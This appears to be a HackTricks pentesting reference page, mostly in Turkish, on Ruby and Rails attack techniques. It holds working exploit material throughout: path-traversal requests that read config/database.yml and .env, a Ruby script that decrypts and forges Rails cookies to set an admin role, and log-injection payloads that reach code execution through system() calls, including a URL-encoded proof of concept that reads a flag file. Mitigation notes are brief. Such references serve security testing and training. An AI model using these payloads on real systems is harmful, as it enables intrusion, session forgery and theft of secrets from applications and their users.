Ruby Püf Noktaları

Reading time: 8 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Dosya yükleme ile RCE

As explained in this article, uploading a .rb file into sensitive directories such as config/initializers/ can lead to remote code execution (RCE) in Ruby on Rails applications.

İpuçları:

  • Uygulama başlatıldığında çalıştırılan diğer boot/eager-load konumları da yazılabilir olduklarında risklidir (ör. config/initializers/ klasik örnektir). Eğer config/ altında herhangi bir yere düşen ve daha sonra evaluate/require edilen rastgele bir dosya yüklemesi bulursanız, boot sırasında RCE elde edebilirsiniz.
  • Rails'in boot sırasında yükleyeceği dosyaları container image içine kopyalayan dev/staging build'lerini arayın.

Active Storage image transformation → command execution (CVE-2025-24293)

When an application uses Active Storage with image_processing + mini_magick, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.

  • A vulnerable pattern looks like:
erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>

where params[:t] and/or params[:v] are attacker-controlled.

  • Test sırasında denenecekler

  • variant/processing seçeneklerini, dönüşüm isimlerini veya arbitrary ImageMagick argümanlarını kabul eden endpoint'leri tespit edin.

  • params[:t] ve params[:v] üzerinde Fuzz yaparak şüpheli hatalar veya yürütme yan etkileri arayın. Eğer metod adını etkileyebiliyor veya MiniMagick'e ulaşan ham argümanlar geçirebiliyorsanız, image processor host üzerinde code exec elde edebilirsiniz.

  • Eğer yalnızca oluşturulan varyantlara okuma erişiminiz varsa, özel ImageMagick işlemleriyle blind exfiltration denemesi yapın.

  • Düzeltme/tespitler

  • Eğer Active Storage + image_processing + mini_magick kullanan ve kullanıcı kontrollü dönüşümlere izin veren Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 görürseniz, bunu exploitable kabul edin. Yükseltme önerin ve yöntem/parametreler için sıkı izin listeleri uygulayın; ayrıca ImageMagick için sert bir policy uygulayın.

Rack::Static LFI / path traversal (CVE-2025-27610)

If the target stack uses Rack middleware directly or via frameworks, versions of rack prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via Rack::Static when :root is unset/misconfigured. Encoded traversal in PATH_INFO can expose files under the process working directory or an unexpected root.

  • config.ru veya middleware yığını içinde Rack::Static mount eden uygulamaları arayın. Statik yolların üzerinde encoded traversal deneyin, örneğin:
text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

Ön eki (prefix) yapılandırılmış urls: ile eşleyecek şekilde ayarlayın. Eğer uygulama dosya içeriği ile yanıt veriyorsa, büyük ihtimalle çözülen :root altındaki herhangi bir şeye LFI'niz vardır.

  • Hafifletme: Rack'i yükseltin; :root sadece public dosyaların olduğu bir dizini işaret edecek şekilde açıkça ayarlayın.

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails encrypts and signs cookies using keys derived from secret_key_base. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.

Modern çerezleri deşifre etmek, değiştirmek ve yeniden şifrelemek için minimal Ruby (AES-256-GCM, recent Rails'te varsayılan):

ruby
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'

secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])

salt   = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"

# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"

Notlar:

  • Eski uygulamalar AES-256-CBC ve tuzlar encrypted cookie / signed encrypted cookie, veya JSON/Marshal serializer'ları kullanıyor olabilir. Tuzları, cipher ve serializer'ı buna göre ayarlayın.
  • İhlal/değerlendirme durumunda, mevcut tüm cookie'leri geçersiz kılmak için secret_key_base'i döndürün.

Ayrıca bakınız (Ruby/Rails'e özgü güvenlik açıkları)

Log Injection → RCE via Ruby load and Pathname.cleanpath smuggling

Bir uygulama (çoğunlukla basit bir Rack/Sinatra/Rails endpoint'i) hem:

  • kullanıcı tarafından kontrol edilen bir dizeyi olduğu gibi logluyor, ve
  • daha sonra aynı dizeden türetilen bir yolun işaret ettiği dosyayı load ediyorsa (Pathname#cleanpath sonrası),

Çoğu zaman log'u zehirleyip uygulamayı log dosyasını load etmeye zorlayarak remote code execution elde edebilirsiniz. Temel ilkeler:

  • Ruby load, hedef dosyanın içeriğini dosya uzantısından bağımsız olarak Ruby kodu olarak değerlendirir. İçeriği Ruby olarak parse edilebilen herhangi bir okunabilir metin dosyası çalıştırılacaktır.
  • Pathname#cleanpath, dosya sistemi ile etkileşime girmeden . ve .. segmentlerini daraltır; bu, path smuggling'e izin verir: saldırgan kontrollü gereksiz veriler loglama için başa eklenebilirken temizlenmiş yol hâlâ çalıştırılacak hedef dosyaya işaret eder (ör. ../logs/error.log).

Minimal zafiyetli desen

ruby
require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

Neden log geçerli Ruby içerebilir

Logger aşağıdaki gibi önek satırları yazar:

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

Ruby'de, # bir yorum başlatır ve 9/2/2025 sadece aritmetiktir. Geçerli Ruby kodu enjekte etmek için şunları yapmalısınız:

  • Yükünüzü yeni bir satırda başlatın, böylece INFO satırındaki # tarafından yorum satırı yapılmaz; başta bir newline gönderin (\n veya %0A).
  • INFO satırı tarafından açılmış saplanan ['i kapatın. Yaygın bir numara ] ile başlamak ve opsiyonel olarak parser'ı memnun etmek için ][0]=1 kullanmaktır.
  • Ardından rastgele Ruby kodu yerleştirin (ör. system(...)).

Hazırlanmış bir parametreyle yapılan tek bir isteğin log'a düşecek hâli için örnek:

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

Tek bir dizenin hem kodu loglayıp hem de log yoluna çözülmesini kaçırma

Tek bir saldırgan tarafından kontrol edilen dize istiyoruz ki:

  • ham olarak loglandığında Ruby payload'ımızı içersin, ve
  • Pathname.new(<input>).cleanpath ile işlendiğinde ../logs/error.log'e çözülsün; böylece ardından gelen load az önce zehirlenmiş log dosyasını çalıştırır.

Pathname#cleanpath şemaları yok sayar ve dizin atlama (../) bileşenlerini çökertip sadeleştirir, bu yüzden aşağıdaki işe yarar:

ruby
require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
  • # karakterinin :// önünde olması, log yürütüldüğünde Ruby'nin kuyruğu yok saymasını sağlar; cleanpath ise son eki hâlâ ../logs/error.log'a indirger.
  • Öndeki yeni satır INFO satırından çıkar; ] sarkan köşeli parantezi kapatır; ][0]=1 parser'ı tatmin eder.

Uçtan uca istismar

  1. Yedekleme betik adı olarak aşağıdakini gönderin (gerekirse ilk yeni satırı %0A olarak URL-encode edin):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
  1. Uygulama ham metninizi logs/error.log'a yazar.
  2. Uygulama cleanpath'i hesaplar; bu ../logs/error.log olarak çözülür ve üzerinde load çağrısı yapar.
  3. Ruby, log'a enjekte ettiğiniz kodu çalıştırır.

CTF benzeri bir ortamda bir dosyayı dışarı çıkarmak için:

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

URL-encoded PoC (ilk karakter newline):

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

Kaynaklar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin